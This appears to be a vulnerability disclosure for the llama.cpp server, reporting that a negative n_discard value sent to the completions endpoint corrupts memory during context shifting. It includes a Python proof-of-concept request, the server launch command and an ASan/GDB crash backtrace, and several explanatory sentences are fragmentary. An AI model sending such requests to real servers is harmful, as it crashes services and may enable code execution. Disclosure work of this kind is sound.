Context shift trusts the client’s n_discard blindly. A remote attacker can supply a negative value through the public completions
endpoints, corrupt the KV cache/text buffers during shifting, and crash the process or pivot to RCE. Severity: Critical.
Prerequisite: start the server with context shift enabled (--context-shift). Works for both CPU and GPU builds; below uses a
CUDA+ASan binary.
#!/usr/bin/env python3
import requests
resp = requests.post(
"http://127.0.0.1:8080/completions",
json={
"prompt": "seed text",
"stream": False,
"cache_prompt": True,
"n_predict": 512,
"n_keep": 0,
"n_discard": -32,
"temperature": 0.0,
},
timeout=60,
)
print(resp.status_code, resp.text[:200])This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Enable debuginfod for this session? (y or [n]) [answered N; input not from terminal]
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
warning: could not find '.gnu_debugaltlink' file for /lib/x86_64-linux-gnu/liblber.so.2
warning: could not find '.gnu_debugaltlink' file for /lib/x86_64-linux-gnu/libbrotlidec.so.1
warning: could not find '.gnu_debugaltlink' file for /lib/x86_64-linux-gnu/libbrotlicommon.so.1
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x00007f0c1219d813 in wait4 () from /lib/x86_64-linux-gnu/libc.so.6
#0 0x00007f0c1219d813 in wait4 () from /lib/x86_64-linux-gnu/libc.so.6
#1 0x0000556d78816cd6 in __interceptor_waitpid ()
#2 0x00007f0c12670177 in ggml_print_backtrace () at /workspace/ggml/src/ggml.c:196
196 waitpid(child_pid, NULL, 0);
#3 0x00007f0c1267067a in ggml_abort (file=<optimized out>, line=<optimized out>, fmt=<optimized out>) at /workspace/ggml/src/ggml.c:230
230 ggml_print_backtrace();
#4 0x0000556d78a71d73 in server_context::update_slots (this=0x7f0c0fa01900) at /workspace/tools/server/server.cpp:3835
3835 GGML_ABORT("pos_min == -1, but n_past > 0 - should not happen: https://github.com/ggml-org/llama.cpp/pull/13833#discussion_r2116181237");
#5 0x0000556d7891c8ca in std::function<void ()>::operator()() const (this=0x7f0c0fa03078) at /usr/bin/../lib/gcc/x86_64-linux-gnu/13/../../../../include/c++/13/bits/std_function.h:591
591 return _M_invoker(_M_functor, std::forward<_ArgTypes>(__args)...);
#6 server_queue::start_loop (this=0x7f0c0fa02f58) at /workspace/tools/server/server.cpp:2152
2152 callback_update_slots();
#7 0x0000556d788c97c4 in main (argc=<optimized out>, argv=<optimized out>) at /workspace/tools/server/server.cpp:5753
5753 ctx_server.queue_tasks.start_loop();
[Inferior 1 (process 32778) detached]
[1] 32778 IOT instruction (core dumped) ASAN_OPTIONS=abort_on_error=1:detect_leaks=0 LSAN_OPTIONS=detect_leaks=0
tylzh97 Reporter
Summary
Context shift trusts the client’s n_discard blindly. A remote attacker can supply a negative value through the public completions
endpoints, corrupt the KV cache/text buffers during shifting, and crash the process or pivot to RCE. Severity: Critical.
Details
server.cpp:3613 ff.).
beyond the end of the std::vector.
exactly what an attacker needs for code execution.
PoC
Prerequisite: start the server with context shift enabled (--context-shift). Works for both CPU and GPU builds; below uses a
CUDA+ASan binary.
CUDA_LAUNCH_BLOCKING=1
ASAN_OPTIONS=abort_on_error=1:detect_leaks=0
LSAN_OPTIONS=detect_leaks=0
LD_LIBRARY_PATH=/usr/local/cuda/lib64:$LD_LIBRARY_PATH
build-cuda-asan/bin/llama-server
--model /models/DeepSeek-R1-Distill-Qwen-32B-Q2_K.gguf
--ctx-size 128
--port 8080
--context-shift
builds the same path yields silent memory corruption and opens the door to RCE.
Impact
Output